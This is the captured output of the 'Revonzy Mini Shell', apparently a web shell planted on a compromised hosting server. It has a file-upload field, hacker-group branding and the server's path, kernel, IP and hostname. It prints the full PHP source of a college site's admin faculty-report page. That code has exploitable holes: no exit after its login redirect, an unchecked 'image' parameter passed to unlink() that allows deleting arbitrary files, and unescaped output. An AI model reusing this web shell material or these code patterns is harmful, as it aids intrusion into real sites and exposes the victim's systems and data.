Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/old/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/old/admin/faculty-report.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$actual_image_name="";
	 $success_msg = 0;
	 $image_error="";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_POST['add_btn']))
	{	
		$title = $_POST['title'];
		$valid_formats = array("pdf","PDF");
	
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			$name 				= 	$_FILES['picture']['name'];
			$size 				= 	$_FILES['picture']['size'];

			if(strlen($name))
				{				
					list($txt, $ext) = explode(".", $name);
					
					if(in_array($ext,$valid_formats))
					{
						$files	=	array();

						function generateRandomString($length = 10) {
							$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
							$charactersLength = strlen($characters);
							$randomString = '';
							for ($i = 0; $i < $length; $i++) 
							{
								$randomString .= $characters[rand(0, $charactersLength - 1)];
							}
							return $randomString;
						}
						
						$current_random_string = generateRandomString();
						
						$actual_image_name = $current_random_string.".".strtolower($ext);						

						$tmp = $_FILES['picture']['tmp_name'];
						
						$img_Dir = "../gallery/";
						
						if(!file_exists($img_Dir))
						{
							mkdir($img_Dir);
						}
						
						if(move_uploaded_file($tmp,$img_Dir.$actual_image_name))
						{
							
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
				}	
		}
		
		if($flag==0)
		{
			if($db->add_academic_calender($title,$actual_image_name))
				{
					$flag = 1 ;
				}
		}
			
	}
	if(isset($_GET['delete_id']) AND ($_GET['image']))
	{
		 $del_id	=	$_GET['delete_id'];
		 $name 	 	= $_GET['image'];
		 $db->delete_faculty_info($del_id);
		 unlink('../profile-picture//'.$name);
		 header("Location:/admin/faculty-report.php");

		 $success_msg	=	2;
	}
?>
<?php
	require_once('header.php');
?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Faculty Report</h1>
					
					<?php
					if($success_msg == 2)
					{?>
						Information Deleted Successfully.
					<?php
					}
					?>
					
					
                </div>
                
            </div>
           
               <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                          Faculty Report
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
                                            <th width="20">Sr. No</th>
                                            <th>Full Name</th>
											<th>Designation</th>
                                            <th>Qualification</th>
											<th>M. No</th>
                                            <th width="50">Experience</th>
											<th>Email</th>
                                            <th>Department</th>
											<th width="50">Staff</th>
											<th>Profile</th>
											<th width="50">Action</th>
											<th width="50">Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_faculty_info();
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id				=	$report_details[$counter][0];
												$full_name		=	$report_details[$counter][1];
												$designation	=	$report_details[$counter][2];
												$qualification	=	$report_details[$counter][3];
												$subject		=	$report_details[$counter][4];
												$experience		=	$report_details[$counter][5];
												$email			=	$report_details[$counter][6];
												$department		=	$report_details[$counter][7];
												$staff			=	$report_details[$counter][8];
												$image		=	$report_details[$counter][9];
												
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											<td><?php echo $full_name; ?></td>
											<td><?php echo $designation; ?></td>
											<td><?php echo $qualification; ?></td>
											<td><?php echo $subject; ?></td>
											<td><?php echo $experience; ?></td>
											<td><?php echo $email; ?></td>
											<td><?php echo $department; ?></td>
											<td><?php echo $staff; ?></td>
											<?php
											if($image != "")
											{
											?>
                                            <td><a href="/profile-picture/<?php echo $image; ?>" target="_blank"><img src="/profile-picture/<?php echo $image; ?>" height="50px" width="50px"></a></td>

											<?php
											}else
											{
											?>
											 <td><img src="/images/no_image_available.png" height="50px" width="50px"></td>

											<?php
											}
											?>
											<td><a href="/admin/edit-faculty-report.php?up_id=<?php echo $id;?>">Edit</a></td>

                                            <td><a href="/admin/faculty-report.php?delete_id=<?php echo $id;?>&image=<?php echo $image;?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="20">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>
                            </div>
                            <!-- /.table-responsive -->
                       
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4